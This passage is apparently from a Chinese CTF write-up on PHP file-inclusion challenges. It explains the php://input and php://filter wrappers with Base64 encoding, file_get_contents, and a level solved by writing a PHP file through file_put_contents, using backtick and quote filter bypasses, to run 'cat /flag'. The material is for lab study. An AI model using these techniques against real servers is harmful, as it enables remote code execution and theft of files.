  • 服务器通过 php://input 读到这段代码后,include 会执行它;
  • echo ``more /flag 是执行系统命令 more /flag(读根目录 flag 文件),并把结果输出 —— 服务器执行后,就会把 flag 返回给我们。

为什么说用 php://filter 读取 php 代码时,都会加「编码转换」(比如 Base64)?

一句话解释,是因为避免源码被执行,直接拿到明文源码.

举个例子:

假设 flag.php 的内容是:

1
2
3
**<?php** 
$flag = "flag{ctf_php_filter}";
echo "欢迎访问";?>

如果你用 include("php://filter/resource=flag.php"):服务器会读取 flag.php原始源码,并当作 PHP 代码执行 —— 但源码里的 <?php ... ?> 会被再次解析,$flag 变量会被定义,但依然不会输出(除非源码里有 echo $flag).

但如果进行编码转换(比如 Base64),避免源码被执行,可直接拿到明文源码

file_get_content()函数

括号里面写文件路径 直接读取这个文件的内容(而不是执行源码等) 不输出 返回值是这个内容

如果读取失败会输出 false

http 访问并执行 php 文件

在网址后 +/路径/文件名.php,即可访问并执行这个 php 文件

Level11 WP

本题较为精彩,可运用到上述很多知识点,故展开说明一下

注意到本题是想让你用 file_put_contents 来创建一个名为 filename 的文件并写入 data 数据

这里要结合前一点所说 http 访问并执行 php 文件,我们先创建带有获取根目录下 flag 的值代码的

php 文件,再用 http 访问并执行.

我们先 get 一个文件名 m.php,这时候还没有写入代码

再 post 要写入的代码 用反引号绕过括号,用单引号绕过 flag.

这时候应该很好的绕过了字符过滤,创建了一个名为 m 的 php 文件

再用 http 访问并执行 这时候能执行 cat /flag 从而拿到 flag.